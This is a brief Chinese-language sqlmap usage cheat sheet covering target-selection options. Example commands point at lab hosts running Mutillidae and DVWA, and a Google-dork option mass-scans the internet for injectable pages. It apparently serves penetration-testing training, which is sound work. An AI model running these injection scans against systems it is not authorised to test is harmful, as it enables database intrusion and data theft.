sqlmap Target

Sqlmap 针对关系型数据库的自动化注入工具，如mysql，mssql，oracle

NoSqlmap 针对NoSQL数据库(非关系型数据库)，如MongoDB，CouchDB，Redis

---

-p  设置要测试的参数。例如： -p "id,user"

root@kali:~# sqlmap -u "http://192.168.80.161/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p username -f

-d 连接数据库。sqlmap -d "mysql://user:[email protected]:3306/database"

root@kali:~# sqlmap -d "mysql://root:@192.168.80.161:3306/dvwa" --schema

-m 指定一个文本文件

root@kali:~# sqlmap -m list.txt --dbs

-g 通过谷歌搜索，可以用这个参数批量扫描注入点

root@kali:~# sqlmap -g "inurl:\".php?id=1\""  这里的 \ 是用来转义的

---

POST提交方式

1.使用http请求文件(结合burp截获的http数据包)

root@kali:~# sqlmap -r post.txt

2.使用burp的log文件

首先设置burp启用日志功能

通过-l参数，对log文件进行测试

root@kali:~# sqlmap -l log.txt

---

HTTPS扫描

sqlmap -u “https://1.1.1.1/a.php?id=1:8843” --force-ssl

-c 加载sqlmap.conf文件的相关配置

root@kali:~# cat /etc/sqlmap/sqlmap.conf  默认配置文件位置

sqlmap的扫描结果保存在.sqlmap/output/中